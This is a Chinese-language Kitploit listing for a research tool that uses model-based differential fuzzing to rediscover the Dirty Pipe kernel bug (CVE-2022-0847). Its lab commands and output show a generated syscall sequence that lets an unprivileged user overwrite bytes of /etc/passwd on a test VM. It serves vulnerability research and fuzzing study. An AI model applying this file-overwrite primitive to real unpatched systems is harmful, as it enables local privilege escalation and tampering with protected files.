Skip to content
KitploitKITPLOIT
工具博客
Log in
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
reproducer-poc-CVE-2022-0847 — 通过随机生成系统调用和针对模型的差异模糊测试来检测/复现CVE-2022-0847 (dirty pipe) 的非常初步的PoC。 | Kitploit
工具/GitHubGitHub/stfnw/reproducer-poc-cve-2022-0847
动态分析 (沙盒)漏洞分析漏洞利用模糊测试渗透测试二进制利用
GitHubstfnw/reproducer-poc-cve-2022-0847

reproducer-poc-CVE-2022-0847

通过随机生成系统调用和针对模型的差异模糊测试来检测/复现CVE-2022-0847 (dirty pipe) 的非常初步的PoC。

查看仓库
118个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2022-0847(脏管道)的朴素检测器与复现工具。 使用系统调用序列/程序的简单生成器,基于刻意受限的构建块/输入值集(仅生成,无高级模糊测试;无变异;无覆盖率引导;无缩减/最小化),并通过对比每个操作在模型和真实内核上的返回值来检测异常行为(基于模型的差异模糊测试)。

免责声明:代码中使用了大量魔数/技巧/内置值作为构建块,以能够生成触发最小化PoC。 因此,它并不真正(仅部分)代表真实情况下通过正确参数生成正确系统调用序列的典型做法。 在巨大的可能状态空间中,对所有参数进行无引导生成可能耗时过长。

我尝试用字符串"MAGIC VALUE"标记所有直接受已知PoC知识影响的值或动作选择——在完全真实的PoC中,这些必须通过随机搜索找到。

这应被视为一个非常粗糙的概念验证。

成功执行示例:

# 内核已按 build-kernel 中的描述构建完成,
# 并与 Debian trixie 文件系统映像一起放置在
# ~/Downloads/build-linux 中

# 创建新的非特权用户。
ssh -i ~/Downloads/build-linux/trixie.id_rsa -p 10021 -o StrictHostKeyChecking=no root@localhost "useradd -m -s /bin/bash user ; mkdir ~user/.ssh/ ; cp ~/.ssh/authorized_keys ~user/.ssh/ ; chown -R user:user ~user"

# 构建复现工具并复制
cd reproducer/
cargo build
scp -i ~/Downloads/build-linux/trixie.id_rsa -P 10021 -o StrictHostKeyChecking=no target/x86_64-unknown-linux-musl/debug/reproducer-poc-CVE-2022-0847 user@localhost:

# 检查系统状态前
ssh -i ~/Downloads/build-linux/trixie.id_rsa -p 10021 -o StrictHostKeyChecking=no user@localhost cat /etc/passwd | hexdump -C | head -n3

# 运行复现工具
ssh -i ~/Downloads/build-linux/trixie.id_rsa -p 10021 -o StrictHostKeyChecking=no user@localhost ./reproducer-poc-CVE-2022-0847

# 检查系统状态后
ssh -i ~/Downloads/build-linux/trixie.id_rsa -p 10021 -o StrictHostKeyChecking=no user@localhost cat /etc/passwd | hexdump -C | head -n3

输出:

$ ssh -i ~/Downloads/build-linux/trixie.id_rsa -p 10021 -o StrictHostKeyChecking=no user@localhost cat /etc/passwd | hexdump -C | head -n3
00000000  72 6f 6f 74 3a 3a 30 3a  30 3a 72 6f 6f 74 3a 2f  |root::0:0:root:/|
00000010  72 6f 6f 74 3a 2f 62 69  6e 2f 62 61 73 68 0a 64  |root:/bin/bash.d|
00000020  61 65 6d 6f 6e 3a 78 3a  31 3a 31 3a 64 61 65 6d  |aemon:x:1:1:daem|

$ ssh -i ~/Downloads/build-linux/trixie.id_rsa -p 10021 -o StrictHostKeyChecking=no user@localhost ./reproducer-poc-CVE-2022-0847
Running with PRNG seed 0x000000c835dace34

thread 'main' (416) panicked at src/main.rs:50:9:
Found bug: fake_res ReadAll(Buf("[72, 6f, 6f, 74, 3a, 3a, 30, 3a]")) != ReadAll(Buf("[72, 00, 00, 00, 00, 3a, 30, 3a]")) real_res
Model:
  - [OpenFile { file: Path(["", "etc", "passwd"]), pos: 8 }]
  - [PipeFd { buf: [0], capacity: 65536 }]
  - Env([PipeFdR(Var(0)), PipeFdW(Var(0)), File(Var(0))])
Env: Env([Fd(160), Fd(161), Fd(162)])

Program: Pgm([Pipe, WriteAll(V(1), Buf("[00, 00, 00, 00]")), Open(Path(["", "etc", "passwd"]), O_RDONLY), SpliceAll(V(2), V(1), U64(1)), WriteAll(V(1), Buf("[00, 00, 00, 00]")), ReadAll(V(0), U64(8)), ReadAll(V(2), U64(8))])
note: run with `RUST_BACKTRACE=1` environment variable to display a backtrace

$ # 注意,此PoC几乎瞬间被找到

$ ssh -i ~/Downloads/build-linux/trixie.id_rsa -p 10021 -o StrictHostKeyChecking=no user@localhost cat /etc/passwd | hexdump -C | head -n3
00000000  72 00 00 00 00 3a 30 3a  30 3a 72 6f 6f 74 3a 2f  |r....:0:0:root:/|
00000010  72 6f 6f 74 3a 2f 62 69  6e 2f 62 61 73 68 0a 64  |root:/bin/bash.d|
00000020  61 65 6d 6f 6e 3a 78 3a  31 3a 31 3a 64 61 65 6d  |aemon:x:1:1:daem|

注意,此PoC与 build-kernel-and-minimal-poc 中的略有不同,因为系统调用顺序进行了无关紧要的调整,不影响漏洞本身。 这表明,使用锁步执行命令与模型和真实系统进行对比,也能正确识别这种情况。

下载工具